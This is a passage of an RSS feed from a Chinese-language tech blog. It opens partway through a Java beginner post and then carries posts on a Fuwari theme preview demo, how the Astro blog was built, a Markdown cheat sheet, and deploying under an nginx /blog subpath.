&lt;td&gt;&lt;code&gt;ReferenceError&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;class HelloWorld is public, should be declared in a file named HelloWorld.java&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;文件名和 public 类名不一致&lt;/td&gt;
&lt;td&gt;——&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;main method not found&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;main&lt;/code&gt; 签名写错（比如少了 &lt;code&gt;static&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;——&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
Java &lt;strong&gt;每一条语句都必须以分号 &lt;code&gt;;&lt;/code&gt; 结尾&lt;/strong&gt;，没有 JS 那种自动分号插入（ASI）。写完一行就加分号是最省事的习惯。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;classpath：JVM 去哪儿找 class 文件&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;java HelloWorld&lt;/code&gt; 命令默认从&lt;strong&gt;当前目录&lt;/strong&gt;找 &lt;code&gt;HelloWorld.class&lt;/code&gt;。如果 class 文件在别的目录，需要 &lt;code&gt;-cp&lt;/code&gt;（或 &lt;code&gt;-classpath&lt;/code&gt;）指定：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 假设编译产物在 ./out 目录
javac -d out HelloWorld.java    # -d 指定输出目录
java -cp out HelloWorld         # -cp 指定 classpath
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后续用 Maven/Gradle 时，classpath 由构建工具自动管理，写业务代码时基本不用手动碰。但看到 &lt;code&gt;ClassNotFoundException&lt;/code&gt; 时，第一反应就是&quot;classpath 里没这个类&quot;。&lt;/p&gt;
&lt;h2&gt;第一个稍微像样的程序&lt;/h2&gt;
&lt;p&gt;写一个命令行计算器，读入两个数字并输出和。这里用到 &lt;code&gt;Scanner&lt;/code&gt; 读控制台输入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.Scanner;   // 引入其他包的类要 import

public class Sum {
    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);

        System.out.print(&quot;请输入第一个整数：&quot;);
        int a = scanner.nextInt();

        System.out.print(&quot;请输入第二个整数：&quot;);
        int b = scanner.nextInt();

        System.out.println(&quot;a + b = &quot; + (a + b));

        scanner.close();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跑起来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;javac Sum.java
java Sum
# 请输入第一个整数：3
# 请输入第二个整数：5
# a + b = 8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;几个新知识点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;import java.util.Scanner;&lt;/code&gt; 类似 JS 的 &lt;code&gt;import { Scanner } from &apos;java.util&apos;&lt;/code&gt;，只是 Java 没有相对路径的概念，都是包的全限定名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;new Scanner(System.in)&lt;/code&gt; 创建对象，Java 里除了基本类型都要用 &lt;code&gt;new&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;a + b = &quot; + (a + b)&lt;/code&gt;：&lt;code&gt;+&lt;/code&gt; 遇到字符串会做拼接，所以要用括号保证先算加法。&lt;strong&gt;注意优先级&lt;/strong&gt;，写成 &lt;code&gt;&quot;a + b = &quot; + a + b&lt;/code&gt; 会变成 &lt;code&gt;&quot;a + b = 35&quot;&lt;/code&gt;（拼接）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;p&gt;一分钟回想整个阶段的关键点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. 一个 .java 文件 = 一个 public 类，文件名 = 类名
public class HelloWorld {
    // 2. main 方法是入口，签名固定
    public static void main(String[] args) {
        // 3. 输出：println 带换行，print 不带
        System.out.println(&quot;Hello&quot;);
        // 4. 每条语句必须以分号结尾
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 5. 编译 + 运行
javac HelloWorld.java    # 生成 .class
java HelloWorld          # 运行（不带 .class）

# 6. 单文件直接运行（JDK 11+）
java HelloWorld.java

# 7. classpath 指定
javac -d out HelloWorld.java
java -cp out HelloWorld
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;记忆要点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;JDK ⊃ JRE ⊃ JVM&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.java&lt;/code&gt; → &lt;code&gt;javac&lt;/code&gt; → &lt;code&gt;.class&lt;/code&gt;（字节码）→ &lt;code&gt;java&lt;/code&gt; → JVM 执行&lt;/li&gt;
&lt;li&gt;&lt;code&gt;main&lt;/code&gt; 方法签名必须一字不差：&lt;code&gt;public static void main(String[] args)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;文件名 = public 类名&lt;/li&gt;
&lt;li&gt;字符串用双引号，字符用单引号&lt;/li&gt;
&lt;li&gt;语句末尾必须有分号&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下一个阶段进入变量和数据类型，看看 Java 的静态类型系统和 JS 的动态类型到底差在哪儿。&lt;/p&gt;
</content:encoded></item><item><title>本地预览效果演示</title><link>http://117.72.32.87/blog/posts/local-preview-demo/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/local-preview-demo/</guid><description>一篇用于验证本地开发预览流程的测试文章，展示 Fuwari 主题的各项 Markdown 渲染能力。</description><pubDate>Tue, 01 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这是一篇&lt;strong&gt;演示文章&lt;/strong&gt;，用来验证本地开发服务器的热更新效果。试着在编辑器里改动这段文字并保存，浏览器会自动刷新，无需手动重启服务。&lt;/p&gt;
&lt;p&gt;（热更新已验证：这行是刚才加的，保存后页面自动同步，全程没有重启服务器。）&lt;/p&gt;
&lt;h2&gt;基础排版&lt;/h2&gt;
&lt;p&gt;正文段落支持 &lt;strong&gt;粗体&lt;/strong&gt;、&lt;em&gt;斜体&lt;/em&gt;、&lt;s&gt;删除线&lt;/s&gt;、&lt;code&gt;行内代码&lt;/code&gt; 以及 &lt;a href=&quot;https://astro.build&quot;&gt;超链接&lt;/a&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这是一段引用。
引用常用于强调别人的观点或补充说明。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;无序列表：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一项&lt;/li&gt;
&lt;li&gt;第二项
&lt;ul&gt;
&lt;li&gt;嵌套子项&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;第三项&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;有序列表：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打开终端&lt;/li&gt;
&lt;li&gt;运行 &lt;code&gt;npm run dev&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;访问 &lt;code&gt;localhost:4321&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;代码高亮&lt;/h2&gt;
&lt;p&gt;Fuwari 使用 Expressive Code 渲染代码块，自带行号和复制按钮。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function greet(name) {
  // 试着改一下这行注释，保存页面会自动热更新
  console.log(`你好，${name}！`);
}

greet(&quot;世界&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;def fibonacci(n):
    if n &amp;lt;= 1:
        return n
    return fibonacci(n - 1) + fibonacci(n - 2)

print([fibonacci(i) for i in range(10)])
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提示块&lt;/h2&gt;
&lt;p&gt;Fuwari 支持 GitHub 风格的提示语法：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
这是普通提示，用来补充说明信息。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
这是技巧提示，分享一些好用的做法。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
这是重要提示，需要特别留意的内容。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
这是警告，提示可能存在的风险。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!CAUTION]
这是危险提示，操作不当可能造成损失。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;数学公式&lt;/h2&gt;
&lt;p&gt;行内公式 $E = mc^2$ 与块级公式都支持（基于 KaTeX）：&lt;/p&gt;
&lt;p&gt;$$
\int_{-\infty}^{\infty} e^{-x^2} , dx = \sqrt{\pi}
$$&lt;/p&gt;
&lt;h2&gt;表格&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;命令&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;npm run dev&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;启动本地开发服务器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;npm run build&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;构建生产版本到 &lt;code&gt;dist/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;npm run new-post -- 文件名&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;新建一篇文章&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;p&gt;如果上面这些元素都渲染正常，说明本地开发环境完全跑通了。接下来可以放心写自己的文章，边写边看效果。&lt;/p&gt;
&lt;p&gt;满意之后运行 &lt;code&gt;./deploy.sh&lt;/code&gt; 就能一键部署到线上服务器。&lt;/p&gt;
</content:encoded></item><item><title>开张大吉：这个博客是怎么搭起来的</title><link>http://117.72.32.87/blog/posts/hello-world/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/hello-world/</guid><description>从零用 Astro 搭一个静态博客，记录技术选型、目录结构和第一篇内容是怎么写出来的。</description><pubDate>Mon, 31 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;第一篇文章，简单说说这个站的来历。&lt;/p&gt;
&lt;h2&gt;为什么选 Astro&lt;/h2&gt;
&lt;p&gt;一开始纠结过几个方案，最后选 Astro 的理由很直接：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;默认就是静态的&lt;/strong&gt; —— 页面在构建期渲染成 HTML，浏览器拿到的不是一堆需要现场拼装的 JS。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;只有需要交互的地方才加载 JS&lt;/strong&gt; —— 搜索框、主题切换这类组件单独激活，文章正文一个字节都不用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;产物就是一堆文件&lt;/strong&gt; —— 丢给 nginx 就能跑，服务器上不用再跑一个 Node 进程。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;目录长什么样&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;src/
├── components/    组件：页头、页脚、主题切换、评论
├── content/blog/  文章都在这里，一个 .md 文件一篇
├── layouts/       页面骨架
├── pages/         路由：首页、文章列表、搜索、关于
└── consts.ts      站点信息，改站名改描述就动这里
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;写一篇新文章&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;src/content/blog/&lt;/code&gt; 下新建一个 &lt;code&gt;.md&lt;/code&gt; 文件，开头写 frontmatter：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: &apos;文章标题&apos;
description: &apos;一句话简介，会显示在列表页和 RSS 里&apos;
pubDate: 2026-08-31
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后往下写正文即可。&lt;strong&gt;文件名就是 URL&lt;/strong&gt;，比如 &lt;code&gt;hello-world.md&lt;/code&gt; 对应 &lt;code&gt;/posts/hello-world/&lt;/code&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;改完执行 &lt;code&gt;npm run build&lt;/code&gt;，产物在 &lt;code&gt;dist/&lt;/code&gt; 目录里。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;接下来&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;换掉站名和描述：改 &lt;code&gt;src/consts.ts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;换掉这个页面：改 &lt;code&gt;src/pages/index.astro&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;开评论：在 &lt;code&gt;src/consts.ts&lt;/code&gt; 填 Giscus 配置&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下一篇会写 Markdown 的常用语法速查，方便以后写文章时对照。&lt;/p&gt;
</content:encoded></item><item><title>Markdown 写作速查表</title><link>http://117.72.32.87/blog/posts/markdown-guide/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/markdown-guide/</guid><description>写博客常用的 Markdown 语法，从标题到代码块到表格，一篇对照着写就够用。</description><pubDate>Sun, 30 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;写文章时总有几个语法记不住，索性整理一张速查表放这儿。&lt;/p&gt;
&lt;h2&gt;标题与强调&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 一级标题
## 二级标题
### 三级标题

**加粗** 和 *斜体*，还有 `行内代码`。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;效果：&lt;strong&gt;加粗&lt;/strong&gt; 和 &lt;em&gt;斜体&lt;/em&gt;，还有 &lt;code&gt;行内代码&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;列表&lt;/h2&gt;
&lt;p&gt;无序列表：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;苹果&lt;/li&gt;
&lt;li&gt;香蕉
&lt;ul&gt;
&lt;li&gt;香蕉派&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;橙子&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;有序列表：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;写草稿&lt;/li&gt;
&lt;li&gt;校对一遍&lt;/li&gt;
&lt;li&gt;构建发布&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;引用&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;引用一段话，适合放金句或者注意事项。&lt;/p&gt;
&lt;p&gt;可以有多段。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;代码块&lt;/h2&gt;
&lt;p&gt;行内用反引号，整块用三个反引号并标注语言：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function greet(name) {
	return `你好，${name}`;
}

console.log(greet(&apos;世界&apos;));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;链接与图片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;[链接文字](https://example.com)
![图片说明](/path/to/image.png)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;表格&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;语法&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;th&gt;备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;#&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;标题&lt;/td&gt;
&lt;td&gt;一到六级&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;引用&lt;/td&gt;
&lt;td&gt;可嵌套&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;无序列表&lt;/td&gt;
&lt;td&gt;也可用 &lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;```&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;代码块&lt;/td&gt;
&lt;td&gt;标注语言可高亮&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;分割线&lt;/h2&gt;
&lt;p&gt;三个以上的减号：&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;转义&lt;/h2&gt;
&lt;p&gt;想显示星号本身而不是斜体，在前面加反斜杠：&lt;code&gt;\*不是斜体\*&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;写文章时忘了什么，回来看这篇就行。&lt;/p&gt;
</content:encoded></item><item><title>把 Astro 站点挂到 nginx 的 /blog 路径下</title><link>http://117.72.32.87/blog/posts/deploy-to-nginx-subpath/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/deploy-to-nginx-subpath/</guid><description>子路径部署不是加个 location 就完事，记录 base 配置、资源前缀和几个容易踩的坑。</description><pubDate>Fri, 28 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;把静态站部署到域名的根路径很简单，挂到子路径（比如 &lt;code&gt;/blog&lt;/code&gt;）就会遇到几个坑。记录一下完整过程。&lt;/p&gt;
&lt;h2&gt;第一步：告诉 Astro 站点在子路径&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;astro.config.mjs&lt;/code&gt; 里加一行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export default defineConfig({
	site: &apos;https://example.com&apos;,
	base: &apos;/blog&apos;,
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;base&lt;/code&gt; 会让 Astro 把 CSS、JS、图片这些资源的引用自动加上 &lt;code&gt;/blog&lt;/code&gt; 前缀。构建完看一眼 &lt;code&gt;dist/index.html&lt;/code&gt;，里面的 &lt;code&gt;/_astro/xxx.css&lt;/code&gt; 应该已经变成 &lt;code&gt;/blog/_astro/xxx.css&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;第二步：手写的链接要自己补前缀&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;这是最容易漏的一点&lt;/strong&gt;：&lt;code&gt;base&lt;/code&gt; 只处理 Astro 自己生成的资源引用，你写在模板里的 &lt;code&gt;&amp;lt;a href=&quot;/posts&quot;&amp;gt;&lt;/code&gt; &lt;strong&gt;不会&lt;/strong&gt;自动加前缀，点了会跳到网站根目录。&lt;/p&gt;
&lt;p&gt;解决办法是统一用一个辅助函数拼路径：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export const BASE = import.meta.env.BASE_URL;

export function url(path: string): string {
	if (path === &apos;/&apos;) return `${BASE}/`;
	return `${BASE}${path.startsWith(&apos;/&apos;) ? path : `/${path}`}`;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;模板里统一写 &lt;code&gt;href={url(&apos;/posts&apos;)}&lt;/code&gt;，输出就是 &lt;code&gt;/blog/posts&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;第三步：注意路由重名&lt;/h2&gt;
&lt;p&gt;模板默认把文章放在 &lt;code&gt;src/pages/blog/&lt;/code&gt;，如果站点又挂在 &lt;code&gt;/blog&lt;/code&gt; 下，最终 URL 会变成 &lt;code&gt;/blog/blog/xxx&lt;/code&gt; 这种叠床架屋的路径。&lt;/p&gt;
&lt;p&gt;我把它改名成了 &lt;code&gt;src/pages/posts/&lt;/code&gt;，最终地址干净：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;首页 &lt;code&gt;/blog/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;文章列表 &lt;code&gt;/blog/posts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;文章详情 &lt;code&gt;/blog/posts/hello-world&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第四步：nginx 配置&lt;/h2&gt;
&lt;p&gt;用 &lt;code&gt;alias&lt;/code&gt; 指向静态文件目录，注意 &lt;code&gt;alias&lt;/code&gt; 的目录路径要带结尾斜杠：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;location ^~ /blog {
    alias /var/www/blog/;
    index index.html;
    try_files $uri $uri/ $uri/index.html =404;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配完先 &lt;code&gt;nginx -t&lt;/code&gt; 校验，再 &lt;code&gt;nginx -s reload&lt;/code&gt;，不要直接 restart——万一配置有语法错误，reload 会拒绝加载而保持旧配置运行，restart 可能直接把站点搞挂。&lt;/p&gt;
&lt;h2&gt;第五步：absolute URL 相关的坑&lt;/h2&gt;
&lt;p&gt;RSS 和 sitemap 里的链接需要绝对地址，&lt;code&gt;new URL(&apos;rss.xml&apos;, Astro.site)&lt;/code&gt; 会生成 &lt;code&gt;https://example.com/rss.xml&lt;/code&gt;，&lt;strong&gt;丢失 &lt;code&gt;/blog&lt;/code&gt; 前缀&lt;/strong&gt;。要手动补：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const rssHref = new URL(`${BASE}/rss.xml`.slice(1), Astro.site).href;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;p&gt;子路径部署的核心就一句话：&lt;strong&gt;Astro 管资源，你管链接&lt;/strong&gt;。资源前缀它自动加，手写的 &lt;code&gt;href&lt;/code&gt; 得自己拼。改完记得全局搜一遍 &lt;code&gt;href=&quot;/&lt;/code&gt; 确认没有漏网的。&lt;/p&gt;
</content:encoded></item></channel></rss>